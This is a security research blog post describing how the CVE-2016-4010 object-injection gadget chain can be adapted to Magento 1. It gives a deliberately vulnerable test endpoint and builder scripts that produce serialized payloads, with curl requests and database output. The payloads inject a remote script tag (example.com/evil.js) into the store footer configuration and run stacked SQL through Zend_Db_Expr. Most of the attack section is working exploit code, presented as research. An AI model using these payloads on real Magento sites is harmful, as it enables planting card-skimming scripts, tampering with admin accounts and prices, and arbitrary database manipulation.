Using CVE-2016-4010's POP Chain In Magento 1

Published: September 10, 2017

CVE-2016-4010 is an object injection vulnerability whereby an attacker can trick Magento into unserializing user controlled input.

Additionally, its author identified a POP chain that allows arbitrary file write. The chain, which was discovered in the Magento 2 code base, works like this…

1. Credis_Client::__destruct

Trick Magento into unserializing an instance of Credis_Client. __destruct is automatically called on the instance as a result of unserialization.

2. Magento\Sales\Model\Order\Payment\Transaction::close()

Credis_Client calls close on its protected redis property, for which an instance of Magento\Sales\Model\Order\Payment\Transaction is injected.

3. Magento\Framework\Simplexml\Config\Cache\File::save

Magento\Sales\Model\Order\Payment\Transaction calls save on its _resource property, for which an instance of Magento\Framework\Simplexml\Config\Cache\File is injected.

4. file_put_contents

Magento\Framework\Simplexml\Config\Cache\File::save will call file_put_contents using stat_file_name and components. Those properties can also be injected allowing complete control over both the contents and the location of the file (including filename).

A pretty nasty sequence of events…

I decided to do a little investigation into the feasibility of using this POP chain against Magento 1. Here I’ll share my findings…

Before We Get Started

It’s worth noting that I’m not the first person to explore usage of this POP chain in Magento 1. In a post titled “Having Fun With Magento SUPEE-8788” the author explored the same and reached the following conclusion…

Honestly I wrote this blog post since I need some closure on this issue. I’ll save you the painstaking task to review all the possible chains between different classes. I spent countless hours on this, since it seems there are so many injection points and the opportunity to execute a RCE on one of the most famous e-commerce platform was too juicy. Seems it was too good to be true :( (at least for me).

My conclusion on the matter is a bit different. Let’s get started…

The Endpoint

To start out with, we need an endpoint that unserializes untrusted user input. Because there isn’t one in the latest version of Magento 1 (or is there? :wink:), let’s create our own. In the webroot of a testing environment add a file named target.php with the following contents..

<?php

require_once('app/Mage.php');
Mage::app();

$o = unserialize(urldecode($_GET['payload']));
echo get_class($o);

Starting The POP Chain

Let’s start building our POP chain. The best way to do this is to use a PHP script with stub implementations of the classes and properties you want to manipulate. For starters, let’s do a sanity check that we can inject an instance of Credis_Client. Create a file named gadget-builder.php (it doesn’t matter where you put it) with the following contents…

<?php

class Credis_Client
{}

echo urlencode(serialize(new Credis_Client));

Then execute it as follows…

$ php gadget-builder.php
O%3A13%3A%22Credis_Client%22%3A0%3A%7B%7D

Now if you hit target.php you should expect to see Credis_Client in the response.

$ curl http://example.com/target.php\?payload\=O%3A13%3A%22Credis_Client%22%3A0%3A%7B%7D
Credis_Client

Great! We’ve started the POP chain successfully.

Calling close on the redis property

Let’s take a look at Credis_Client’s __destruct and close methods.

Credis_Client::__destruct

public function __destruct()
{
    if ($this->closeOnDestruct) {
        $this->close();
    }
}

Credis_Client::close

public function close()
{
    $result = TRUE;
    if ($this->connected && ! $this->persistent) {
        try {
            $result = $this->standalone ? fclose($this->redis) : $this->redis->close();
            $this->connected = FALSE;
        } catch (Exception $e) {
            ; // Ignore exceptions on close
        }
    }
    return $result;
}

There are a few conditions that need to be met in order for the Credis_Client instance it call close on its redis property.

$this->closeOnDestruct needs to be true. We can see that that’s the default value, so no changes necessary there.

/**
 * @var bool
 */
protected $closeOnDestruct = TRUE;

Also, $this->connected needs to be true. That, we’ll need to manually set.

Finally $this->persistent needs to be false and $this->standalone needs to be true. Again, those are also both the defaults.

We also need to set $this->redis to an instance of Mage_Sales_Model_Order_Payment_Transaction . Here’s the updated gadget-builder.php

<?php

class Credis_Client
{
    protected $redis;
    protected $connected;

    public function __construct()
    {
        $this->connected = true;
        $this->redis = new Mage_Sales_Model_Order_Payment_Transaction;
    }
}

class Mage_Sales_Model_Order_Payment_Transaction
{}

echo urlencode(serialize(new Credis_Client));

Execute it again to get the payload

$ php gadget-builder.php
O%3A13%3A%22Credis_Client%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00redis%22%3BO%3A42%3A%22Mage_Sales_Model_Order_Payment_Transaction%22%3A0%3A%7B%7Ds%3A12%3A%22%00%2A%00connected%22%3Bb%3A1%3B%7D

Before running the curl, let’s add some debug code to Mage_Sales_Model_Order_Payment_Transaction:close() as a basic sanity check.

/**
 * Close this transaction
 * @param bool $shouldSave
 * @return Mage_Sales_Model_Order_Payment_Transaction
 * @throws Mage_Core_Exception
 */
public function close($shouldSave = true)
{
    echo  __METHOD__ . PHP_EOL;
    if (!$this->_isFailsafe) {
        $this->_verifyThisTransactionExists();
    }

And run the curl with the new payload and here’s what you should see…

$ curl http://example.com/target.php\?payload\=O%3A13%3A%22Credis_Client%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00redis%22%3BO%3A42%3A%22Mage_Sales_Model_Order_Payment_Transaction%22%3A0%3A%7B%7Ds%3A12%3A%22%00%2A%00connected%22%3Bb%3A1%3B%7D
Credis_ClientMage_Sales_Model_Order_Payment_Transaction::close

Calling save on _getResource()

The next step in the POP chain is to abuse the save call on the resource to obtain file write. Let’s take a look at Mage_Sales_Model_Order_Payment_Transaction::close to see how we can get there…

public function close($shouldSave = true)
{
    if (!$this->_isFailsafe) {
        $this->_verifyThisTransactionExists();
    }
    if (1 == $this->getIsClosed() && $this->_isFailsafe) {
        Mage::throwException(Mage::helper('sales')->__('The transaction "%s" (%s) is already closed.', $this->getTxnId(), $this->getTxnType()));
    }
    $this->setIsClosed(1);
    if ($shouldSave) {
        $this->save();
    }

Setting the _isFailsafe property to true will avoid the verifyThisTransactionExists check.

Next let’s look at Mage_Core_Model_Abstract::save

public function save()
{
    /**
     * Direct deleted items to delete method
     */
    if ($this->isDeleted()) {
        return $this->delete();
    }
    if (!$this->_hasModelChanged()) {
        return $this;
    }
    $this->_getResource()->beginTransaction();
    $dataCommited = false;
    try {
        $this->_beforeSave();
        if ($this->_dataSaveAllowed) {
            $this->_getResource()->save($this);
            $this->_afterSave();
        }

We can see it calls both beginTransaction and save through _getResource, which looks like this…

protected function _getResource()
{
    if (empty($this->_resourceName)) {
        Mage::throwException(Mage::helper('core')->__('Resource is not set.'));
    }

    return Mage::getResourceSingleton($this->_resourceName);
}

This is an issue. Because _getResource does not use an internal _resource property but rather passes _resourceName as string to Mage::getResourceSingleton we cannot inject an instance of Varien_Simplexml_Config_Cache_File and call save. Thus, we are unable fully execute the file write POP chain identified by the vulnerability’s author.

This was the conclusion of the author of “Having Fun With Magento SUPEE-8788” - that it was a dead end. However, I wanted to dig further to understand what was possible.

Interesting Things We Can Do When Calling save on _getResource()

While we don’t have complete control over the _resource property, we’re still in a pretty powerful position. At this point, we have the following under our control…

  • The ability to inject a reference to any resource model in the code base
  • Complete control over the data the resource model will save

This is basically an (admittedly) watered down version of SQL injection.

Here are a few things we could do…

  • Inject malware into the database via core_config_data or CMS content.
  • Tamper with existing admin users or create new ones.
  • Tamper with the catalog including pricing.

Let’s try it out…

Injecting Data Malware Into core_config_data

After working through a few errors, I was able to generate a payload to inject data into core_config_data. The required gadget-builder.php is as follows…

<?php

class Credis_Client
{
    protected $redis;
    protected $connected;

    public function __construct()
    {
        $this->connected = true;
        $this->redis = new Mage_Sales_Model_Order_Payment_Transaction;
    }
}

class Mage_Sales_Model_Order_Payment_Transaction
{
    protected $_isFailsafe;
    protected $_paymentObject;
    protected $_data;
    protected $_resourceName;
    protected $_idFieldName;

    public function __construct()
    {

        $this->_isFailsafe = true;
        $this->_paymentObject = new Mage_Sales_Model_Order_Payment;
        $this->_data = [
            'order_id' => 1,
            'scope' => 'default',
            'scope_id' => 0,
            'path' => 'design/footer/absolute_footer',
            'value' => '<script src="http://example.com/evil.js></script>"'
        ];
        $this->_resourceName = 'core/config_data';
        $this->_idFieldName = 'id';
    }
}

class Mage_Sales_Model_Order_Payment
{
    protected $_idFieldName;

    public function __construct()
    {
        $this->_idFieldName = 'id';
    }
}

echo urlencode(serialize(new Credis_Client));

Running it I get the following payload…

$ php gadget-builder.php
O%3A13%3A%22Credis_Client%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00redis%22%3BO%3A42%3A%22Mage_Sales_Model_Order_Payment_Transaction%22%3A5%3A%7Bs%3A14%3A%22%00%2A%00_isFailsafe%22%3Bb%3A1%3Bs%3A17%3A%22%00%2A%00_paymentObject%22%3BO%3A30%3A%22Mage_Sales_Model_Order_Payment%22%3A1%3A%7Bs%3A15%3A%22%00%2A%00_idFieldName%22%3Bs%3A2%3A%22id%22%3B%7Ds%3A8%3A%22%00%2A%00_data%22%3Ba%3A5%3A%7Bs%3A8%3A%22order_id%22%3Bi%3A1%3Bs%3A5%3A%22scope%22%3Bs%3A7%3A%22default%22%3Bs%3A8%3A%22scope_id%22%3Bi%3A0%3Bs%3A4%3A%22path%22%3Bs%3A29%3A%22design%2Ffooter%2Fabsolute_footer%22%3Bs%3A5%3A%22value%22%3Bs%3A50%3A%22%3Cscript+src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%3E%3C%2Fscript%3E%22%22%3B%7Ds%3A16%3A%22%00%2A%00_resourceName%22%3Bs%3A16%3A%22core%2Fconfig_data%22%3Bs%3A15%3A%22%00%2A%00_idFieldName%22%3Bs%3A2%3A%22id%22%3B%7Ds%3A12%3A%22%00%2A%00connected%22%3Bb%3A1%3B%7D

Send that payload to target.php and then consult the database, to see the malware.

mysql> select * from core_config_data where path = 'design/footer/absolute_footer';
+-----------+---------+----------+-------------------------------+----------------------------------------------------+
| config_id | scope   | scope_id | path                          | value                                              |
+-----------+---------+----------+-------------------------------+----------------------------------------------------+
|        44 | default |        0 | design/footer/absolute_footer | <script src="http://example.com/evil.js></script>" |
+-----------+---------+----------+-------------------------------+----------------------------------------------------+
1 row in set (0.00 sec)

mysql>

Can We Get Raw SQL Injection?

Watered down SQL injection is nice, but complete SQL injection is better. I started to do some investigation to understand if it is possible.

Setting the data directly to an SQL injection string will not work because of escaping. However, there’s a trick.

Instead of using a string, if we pass the data value as an instance of Zend_Db_Expr it will not be escaped.

Here’s a gadget-builder.php that inserts into newletter_subscriber and then deletes the data it just inserted…

<?php

class Credis_Client
{
    protected $redis;
    protected $connected;

    public function __construct()
    {
        $this->connected = true;
        $this->redis = new Mage_Sales_Model_Order_Payment_Transaction;
    }
}

class Mage_Sales_Model_Order_Payment_Transaction
{
    protected $_isFailsafe;
    protected $_paymentObject;
    protected $_data;
    protected $_resourceName;
    protected $_idFieldName;

    public function __construct()
    {
        $this->_isFailsafe = true;
        $this->_paymentObject = new Mage_Sales_Model_Order_Payment;
        $this->_data = [
            'order_id' => 1,
            'subscriber_email' => new Zend_Db_Expr("'[email protected]'); DELETE FROM newsletter_subscriber WHERE subscriber_email = '[email protected]'; SELECT (1")
        ];
        $this->_resourceName = 'newsletter/subscriber';
        $this->_idFieldName = 'id';
    }
}

class Zend_Db_Expr
{
    protected $_expression;

    public function __construct($expression)
    {
        $this->_expression = $expression;
    }
}

class Mage_Sales_Model_Order_Payment
{
    protected $_idFieldName;

    public function __construct()
    {
        $this->_idFieldName = 'id';
    }
}

echo urlencode(serialize(new Credis_Client));

Tailing the MySQL general log we can see it happen…

170724 11:51:34	  837 Connect	root@localhost on magento
		  837 Query	SET SQL_MODE=''
		  837 Query	SET NAMES utf8
		  837 Query	START TRANSACTION
		  837 Query	INSERT INTO `newsletter_subscriber` (`subscriber_email`) VALUES ('[email protected]');
		  837 Query	DELETE FROM newsletter_subscriber WHERE subscriber_email = '[email protected]';
		  837 Query	SELECT (1)
		  837 Query	COMMIT

Conclusion

While I wasn’t able to obtain arbitrary file write using the Credis_Client to Mage_Sales_Model_Order_Payment_Transaction POP chain, the fact that it enables save-ing any resource model, plus complete control over the data being saved still enables some pretty nasty things. I was able to achieve both a watered down version of SQL injection, and then found that full on SQL injection was also possible.

There may be more paths available from the call on save. If you find any other interesting paths for this POP chain (including file write) let me know in the comments below!

Max Chadwick Hi, I'm Max!

I'm a software developer who mainly works in PHP, but loves dabbling in other languages like Go and Ruby. Technical topics that interest me are monitoring, security and performance. I'm also a stickler for good documentation and clear technical writing.

During the day I lead a team of developers and solve challenging technical problems at Rightpoint where I mainly work with the Magento platform. I've also spoken at a number of events.

In my spare time I blog about tech, work on open source and participate in bug bounty programs.

If you'd like to get in contact, you can find me on Twitter and LinkedIn.